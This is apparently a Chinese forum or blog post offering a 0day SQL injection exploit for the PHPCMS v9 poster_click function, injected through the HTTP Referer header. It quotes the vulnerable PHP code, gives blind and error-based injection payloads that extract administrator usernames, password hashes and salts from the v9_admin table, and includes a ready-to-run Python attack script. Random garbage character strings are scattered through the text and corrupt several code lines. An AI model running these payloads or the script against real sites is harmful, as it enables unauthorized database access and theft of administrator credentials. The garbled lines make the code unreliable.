phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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2 c6 p2 _+ ]1 R  x, G7 R问题函数\phpcms\modules\poster\index.php

public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
3 F8 |: p2 [# B7 v: p$r = $this->db->get_one(array('id'=>$id));
# [0 v- {. Q: P" }, eif (!is_array($r) && empty($r)) return false;
6 \4 k' w5 a4 l; O8 z3 h$ip_area = pc_base::load_sys_class('ip_area');
9 M& r: A0 J* \! o$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
* j# ]8 k% d+ k7 f0 Q}
/ ?( t: _+ Q* W$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
9 K( M8 ?( x+ r9 q$url = $setting['1']['linkurl'];
} else {
, b4 O& h3 E6 d6 \$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
9 R: Y2 C4 y3 U4 S2 C, }7 kheader('Location: '.$url);
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3 R6 P% h3 x) S: X* i1 h1 T6 V' @利用方式：
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. l% X9 ^  ?' ^# r) b3 j! P1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

4 ?9 ?) [8 n. z/ f# ?$ t+ c通过返回页面，正常与否一个个猜解密码字段。
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2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
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: {4 q; O& r+ `* o9 d7 d利用程序:
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3 s4 H3 \- Y  R3 f#!/usr/bin/env python
import httplib,sys,re

' c% z1 w& l4 i% e* T! Tdef attack():
' J7 ]3 R3 S7 o& m) b, rprint “Code by Pax.Mac Team conqu3r!”
print “Welcome to our zone!!!”
url=sys.argv[1]
; }$ F" ]- a  Qpaths=sys.argv[2]
0 w+ _; |) \1 B7 l# [conn = httplib.HTTPConnection(url)
! O- K0 w- `" j* hi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
5 N7 F' q; Q; p9 F5 ]8 F“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
$ [# i% j. K$ e$ \. hprint datas[0]
conn.close()
: x. z1 C9 K) F% r9 o$ I5 S# T$ @if __name__==”__main__”:
if len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
) w) W' g: b3 K  w( z& `4 Lprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
3 j" D! w$ Z. W. _( @- w, C" Kattack()